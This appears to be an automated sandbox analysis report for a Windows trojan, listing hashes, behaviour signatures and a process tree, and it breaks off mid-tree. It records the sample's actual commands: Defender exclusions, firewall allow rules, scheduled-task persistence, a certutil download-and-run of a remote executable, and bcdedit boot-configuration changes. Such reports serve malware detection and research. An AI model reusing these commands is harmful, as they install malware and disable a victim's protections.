788eb685943b452608a07a44d75be4c5806f1374461596a6ad7cce5569fcf77e

Analysis

max time kernel
138s
max time network
141s
platform
windows10_x64
resource
win10v20201028
submitted
09-11-2020 19:46

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General

Target

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Size

3.9MB
MD5

09f52ff0d655353f5479d0157af2b8ba
SHA1

c21c3ae75444f546a178c926a68108a773e62eb1
SHA256

788eb685943b452608a07a44d75be4c5806f1374461596a6ad7cce5569fcf77e
SHA512

ca12d33221180fd3b33fb3ef82f93eea0206f71279306870402a8c8595a4d70c28ff006365638a4f3cfb1299caf452f3ec92d93533b15c31c647cb87afcc17c0

Score

10^/10

discovery evasion persistence trojan

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 508 created 636	508	svchost.exe	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
PID 508 created 3860	508	svchost.exe	csrss.exe
PID 508 created 3860	508	svchost.exe	csrss.exe
PID 508 created 3860	508	svchost.exe	csrss.exe

Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112

Modifies boot configuration data using bcdedit 15 IoCs

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
1520	bcdedit.exe
3976	bcdedit.exe
2440	bcdedit.exe
1672	bcdedit.exe
2212	bcdedit.exe
904	bcdedit.exe
3160	bcdedit.exe
192	bcdedit.exe
4016	bcdedit.exe
200	bcdedit.exe
3168	bcdedit.exe
740	bcdedit.exe
2176	bcdedit.exe
2020	bcdedit.exe
904	bcdedit.exe

Drops file in Drivers directory 2 IoCs

Processes:

dsefix.execsrss.exe

description ioc process

File created C:\Windows\system32\drivers\VBoxDrv.sys dsefix.exe
File created C:\Windows\System32\drivers\Winmon.sys csrss.exe
Executes dropped EXE 3 IoCs

Processes:

csrss.exepatch.exedsefix.exe

pid process

3860 csrss.exe
1248 patch.exe
3152 dsefix.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Loads dropped DLL 4 IoCs

Processes:

patch.exe

pid process

1248 patch.exe
1248 patch.exe
1248 patch.exe
1248 patch.exe

description	ioc	process
File created	C:\Windows\system32\drivers\VBoxDrv.sys	dsefix.exe
File created	C:\Windows\System32\drivers\Winmon.sys	csrss.exe

pid	process
3860	csrss.exe
1248	patch.exe
3152	dsefix.exe

pid	process
1248	patch.exe
1248	patch.exe
1248	patch.exe
1248	patch.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\PurpleForest = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\5fa8ce6719fa\5fa8ce6719fa = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\5fa8ce6719fa.exe = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\PurpleForest = "\"C:\\Windows\\rss\\csrss.exe\""	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 2 IoCs

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe

description	ioc	process
File opened for modification	C:\Windows\rss	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
File created	C:\Windows\rss\csrss.exe	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe

Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid	pid_target	process	target process
2300	636	WerFault.exe	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
2920	1332	WerFault.exe	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3848 schtasks.exe
196 schtasks.exe

pid	process
3848	schtasks.exe
196	schtasks.exe

Modifies data under HKEY_USERS 245 IoCs

Processes:

csrss.exenetsh.exenetsh.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exeSecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.execsrss.exe

pid	process
636	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
636	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
1332	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
1332	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
3860	csrss.exe
3860	csrss.exe
3860	csrss.exe
3860	csrss.exe

Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

616
616

pid	process
616
616

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	636	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Token: SeImpersonatePrivilege	636	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
Token: SeTcbPrivilege	508	svchost.exe
Token: SeTcbPrivilege	508	svchost.exe
Token: SeBackupPrivilege	508	svchost.exe
Token: SeRestorePrivilege	508	svchost.exe
Token: SeBackupPrivilege	508	svchost.exe
Token: SeRestorePrivilege	508	svchost.exe
Token: SeSystemEnvironmentPrivilege	3860	csrss.exe
Token: SeBackupPrivilege	508	svchost.exe
Token: SeRestorePrivilege	508	svchost.exe
Token: SeBackupPrivilege	508	svchost.exe
Token: SeRestorePrivilege	508	svchost.exe
Token: SeBackupPrivilege	508	svchost.exe
Token: SeRestorePrivilege	508	svchost.exe
Token: SeBackupPrivilege	508	svchost.exe
Token: SeRestorePrivilege	508	svchost.exe

Suspicious use of WriteProcessMemory 52 IoCs

Processes:

svchost.exeSecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.execmd.execmd.exepatch.execsrss.exe

description	pid	process	target process
PID 508 wrote to memory of 1332	508	svchost.exe	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
PID 508 wrote to memory of 1332	508	svchost.exe	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
PID 508 wrote to memory of 1332	508	svchost.exe	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
PID 1332 wrote to memory of 1236	1332	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe	cmd.exe
PID 1332 wrote to memory of 1236	1332	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe	cmd.exe
PID 1236 wrote to memory of 2316	1236	cmd.exe	netsh.exe
PID 1236 wrote to memory of 2316	1236	cmd.exe	netsh.exe
PID 1332 wrote to memory of 3068	1332	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe	cmd.exe
PID 1332 wrote to memory of 3068	1332	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe	cmd.exe
PID 3068 wrote to memory of 3028	3068	cmd.exe	netsh.exe
PID 3068 wrote to memory of 3028	3068	cmd.exe	netsh.exe
PID 1332 wrote to memory of 3860	1332	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe	csrss.exe
PID 1332 wrote to memory of 3860	1332	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe	csrss.exe
PID 1332 wrote to memory of 3860	1332	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe	csrss.exe
PID 508 wrote to memory of 3848	508	svchost.exe	schtasks.exe
PID 508 wrote to memory of 3848	508	svchost.exe	schtasks.exe
PID 508 wrote to memory of 196	508	svchost.exe	schtasks.exe
PID 508 wrote to memory of 196	508	svchost.exe	schtasks.exe
PID 508 wrote to memory of 1248	508	svchost.exe	patch.exe
PID 508 wrote to memory of 1248	508	svchost.exe	patch.exe
PID 1248 wrote to memory of 1520	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 1520	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 3976	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 3976	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 2440	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 2440	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 1672	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 1672	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 2212	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 2212	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 904	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 904	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 3160	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 3160	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 192	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 192	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 4016	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 4016	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 200	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 200	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 3168	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 3168	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 740	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 740	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 2176	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 2176	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 2020	1248	patch.exe	bcdedit.exe
PID 1248 wrote to memory of 2020	1248	patch.exe	bcdedit.exe
PID 3860 wrote to memory of 904	3860	csrss.exe	bcdedit.exe
PID 3860 wrote to memory of 904	3860	csrss.exe	bcdedit.exe
PID 3860 wrote to memory of 3152	3860	csrss.exe	dsefix.exe
PID 3860 wrote to memory of 3152	3860	csrss.exe	dsefix.exe

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:636

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19204.exe"
2⤵
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1332

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1236

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies data under HKEY_USERS
PID:2316

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\5fa8ce6719fa\5fa8ce6719fa\5fa8ce6719fa.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:3068

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\5fa8ce6719fa\5fa8ce6719fa\5fa8ce6719fa.exe" enable=yes
4⤵
- Modifies data under HKEY_USERS
PID:3028

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3860

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:3848

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:196

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1248

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
5⤵
- Modifies boot configuration data using bcdedit
PID:1520

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:3976

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:2440

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
5⤵
- Modifies boot configuration data using bcdedit
PID:1672

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:2212

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:904

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
5⤵
